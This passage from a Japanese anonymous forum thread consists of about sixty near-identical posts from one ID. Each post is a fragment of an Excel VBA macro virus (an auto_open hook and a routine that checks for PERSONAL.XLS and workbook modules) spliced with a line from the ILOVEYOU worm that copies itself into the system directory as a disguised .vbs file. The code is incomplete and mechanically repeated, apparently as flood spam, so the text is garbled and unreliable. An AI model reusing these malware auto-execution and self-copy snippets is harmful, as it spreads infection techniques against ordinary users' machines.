If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

363 番組の途中ですが名無しです :2012/01/31(火) 17:45:07 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

364 番組の途中ですが名無しです :2012/01/31(火) 17:45:39 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

365 番組の途中ですが名無しです :2012/01/31(火) 17:46:10 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

366 番組の途中ですが名無しです :2012/01/31(火) 17:46:41 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

367 番組の途中ですが名無しです :2012/01/31(火) 17:47:12 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

368 番組の途中ですが名無しです :2012/01/31(火) 17:47:45 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

369 番組の途中ですが名無しです :2012/01/31(火) 17:48:17 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

370 番組の途中ですが名無しです :2012/01/31(火) 17:48:48 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

371 番組の途中ですが名無しです :2012/01/31(火) 17:49:19 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

372 番組の途中ですが名無しです :2012/01/31(火) 17:49:51 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

373 番組の途中ですが名無しです :2012/01/31(火) 17:50:22 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

374 番組の途中ですが名無しです :2012/01/31(火) 17:50:53 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

375 番組の途中ですが名無しです :2012/01/31(火) 17:51:24 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

376 番組の途中ですが名無しです :2012/01/31(火) 17:51:54 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

377 番組の途中ですが名無しです :2012/01/31(火) 17:52:25 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

378 番組の途中ですが名無しです :2012/01/31(火) 17:52:57 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

379 番組の途中ですが名無しです :2012/01/31(火) 17:53:28 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

380 番組の途中ですが名無しです :2012/01/31(火) 17:54:00 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

381 番組の途中ですが名無しです :2012/01/31(火) 17:54:32 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

382 番組の途中ですが名無しです :2012/01/31(火) 17:55:03 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

383 番組の途中ですが名無しです :2012/01/31(火) 17:55:34 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

384 番組の途中ですが名無しです :2012/01/31(火) 17:56:05 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

385 番組の途中ですが名無しです :2012/01/31(火) 17:56:36 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

386 番組の途中ですが名無しです :2012/01/31(火) 17:57:07 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

387 番組の途中ですが名無しです :2012/01/31(火) 17:57:38 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

388 番組の途中ですが名無しです :2012/01/31(火) 17:58:10 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

389 番組の途中ですが名無しです :2012/01/31(火) 17:58:42 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

390 番組の途中ですが名無しです :2012/01/31(火) 17:59:13 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

391 番組の途中ですが名無しです :2012/01/31(火) 17:59:44 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

392 番組の途中ですが名無しです :2012/01/31(火) 18:00:15 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

393 番組の途中ですが名無しです :2012/01/31(火) 18:00:47 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

394 番組の途中ですが名無しです :2012/01/31(火) 18:01:18 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

395 番組の途中ですが名無しです :2012/01/31(火) 18:01:49 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

396 番組の途中ですが名無しです :2012/01/31(火) 18:02:20 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

397 番組の途中ですが名無しです :2012/01/31(火) 18:02:54 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

398 番組の途中ですが名無しです :2012/01/31(火) 18:03:25 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

399 番組の途中ですが名無しです :2012/01/31(火) 18:03:56 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

400 番組の途中ですが名無しです :2012/01/31(火) 18:04:28 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

401 番組の途中ですが名無しです :2012/01/31(火) 18:04:59 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

402 番組の途中ですが名無しです :2012/01/31(火) 18:05:31 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

403 番組の途中ですが名無しです :2012/01/31(火) 18:06:02 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

404 番組の途中ですが名無しです :2012/01/31(火) 18:06:33 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

405 番組の途中ですが名無しです :2012/01/31(火) 18:07:04 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

406 番組の途中ですが名無しです :2012/01/31(火) 18:07:36 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

407 番組の途中ですが名無しです :2012/01/31(火) 18:08:07 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

408 番組の途中ですが名無しです :2012/01/31(火) 18:08:38 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

409 番組の途中ですが名無しです :2012/01/31(火) 18:09:09 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

410 番組の途中ですが名無しです :2012/01/31(火) 18:09:41 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

411 番組の途中ですが名無しです :2012/01/31(火) 18:10:13 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

412 番組の途中ですが名無しです :2012/01/31(火) 18:10:44 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

413 番組の途中ですが名無しです :2012/01/31(火) 18:11:15 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

414 番組の途中ですが名無しです :2012/01/31(火) 18:11:46 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

415 番組の途中ですが名無しです :2012/01/31(火) 18:12:17 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

416 番組の途中ですが名無しです :2012/01/31(火) 18:12:49 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

417 番組の途中ですが名無しです :2012/01/31(火) 18:13:20 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

418 番組の途中ですが名無しです :2012/01/31(火) 18:13:51 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

419 番組の途中ですが名無しです :2012/01/31(火) 18:14:22 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

420 番組の途中ですが名無しです :2012/01/31(火) 18:14:53 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

421 番組の途中ですが名無しです :2012/01/31(火) 18:15:24 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

422 番組の途中ですが名無しです :2012/01/31(火) 18:15:56 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

